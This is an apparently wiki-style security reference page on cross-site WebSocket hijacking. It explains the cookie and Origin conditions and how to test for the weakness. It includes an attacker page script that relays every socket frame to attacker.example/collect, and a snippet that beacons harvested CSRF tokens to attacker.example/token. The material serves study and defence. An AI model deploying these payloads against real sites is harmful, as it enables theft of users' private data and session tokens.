Cross-site WebSocket hijacking

A WebSocket handshake that relies on ambient cookies and skips Origin validation lets an attacker page open an authenticated socket as the victim.

3 phút đọccập nhật 7 thg 10, 2026florianamette1 người đóng góp
Hỏi trợ lý của bạn (MCP)Sửa trên GitHub

The WebSocket handshake is an ordinary HTTP request, and the browser attaches the target site's cookies to it, subject to each cookie's SameSite attribute (a key precondition covered under the handshake condition below). If the server authorizes the upgrade purely on those ambient cookies and does not validate the Origin header, then any page the victim visits can open an authenticated socket to the target on their behalf. Unlike a form-based CSRF, the attacker's page keeps the socket open, so it can both drive actions and read every frame the server sends back.

The handshake condition#

The upgrade request carries the session cookie and an Origin reflecting the page that opened the socket:

http
GET /stream HTTP/1.1
Host: target.example
Upgrade: websocket
Connection: Upgrade
Origin: https://attacker.example
Cookie: session=1f3c...; auth=...
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

If the server answers 101 Switching Protocols despite the foreign Origin, the connection is hijackable. WebSocket handshakes are not protected by the same-origin policy for the open itself, and WebSocket does not send or require a CSRF token, so the server-side authentication rests on the cookie.

The crucial precondition is how that cookie is delivered. A WebSocket open is not a top-level navigation, so with the modern default SameSite=Lax the session cookie is not attached to a genuinely cross-site handshake (for example attacker.example opening a socket to target.example). CSWSH therefore requires the auth cookie to be SameSite=None, or the attacker page to be same-site with the target (a sibling subdomain, since SameSite is scoped to the registrable domain, not the origin). A SameSite=Lax/Strict session cookie breaks the ambient delivery and is itself a mitigation. Note also that replaying the handshake from a raw HTTP tool (passing the cookie explicitly) bypasses SameSite entirely, so a 101 there does not by itself prove a browser-driven cross-site hijack is viable; confirm the cookie's SameSite attribute as well.

The attacker page#

The exploit is a page the victim is lured to open while logged in to the target. It opens the socket, which the browser authenticates with the victim's cookies, then exfiltrates whatever the server streams back:

html
<script>
const ws = new WebSocket('wss://target.example/stream');

ws.onopen = () => {
  // Drive the victim's session: request their data
  ws.send(JSON.stringify({ action: 'message.list', conversationId: 'self' }));
  ws.send(JSON.stringify({ action: 'account.profile' }));
};

ws.onmessage = (event) => {
  // Relay every frame to the attacker's collector
  fetch('https://attacker.example/collect', {
    method: 'POST',
    mode: 'no-cors',
    body: event.data
  });
};
</script>

Because the socket runs with the victim's authority, the responses contain the victim's private conversations, profile, tokens, or any other data the stream exposes. The same channel also drives state-changing frames, so the attacker page can post messages, change settings, or invoke actions as the victim.

Reading back session secrets#

Some applications send bootstrap data on connect, for example a CSRF token or API key delivered in the first frame so the client can use it for subsequent REST calls. A hijacked socket receives that bootstrap frame directly:

javascript
ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);
  if (msg.csrfToken) {
    navigator.sendBeacon('https://attacker.example/token', msg.csrfToken);
  }
};

Harvesting that token promotes the hijack: the attacker now holds a value that unlocks the ordinary CSRF-protected REST surface as well.

Confirming the weakness#

Replay a captured handshake with the Origin header removed, then with an arbitrary foreign value, and watch for the 101 response in each case. A server that upgrades when Origin is absent or foreign, while still attaching the session, is open to hijacking. A socket that carries an unguessable token in the URL or in a subprotocol value, rather than relying on cookies, does not exhibit the same behavior.

Tools#

  • Burp Suite: capture the handshake, then replay it with the Origin removed or set to a foreign value.
  • Crafted attacker HTML page: a WebSocket script that opens the socket and exfiltrates returned frames.
  • websocat: replay the handshake from the command line to confirm upgrade behavior.

References#

  • PortSwigger Web Security Academy, "Cross-site WebSocket hijacking"
  • OWASP, "Cross Site WebSocket Hijacking (CSWSH)"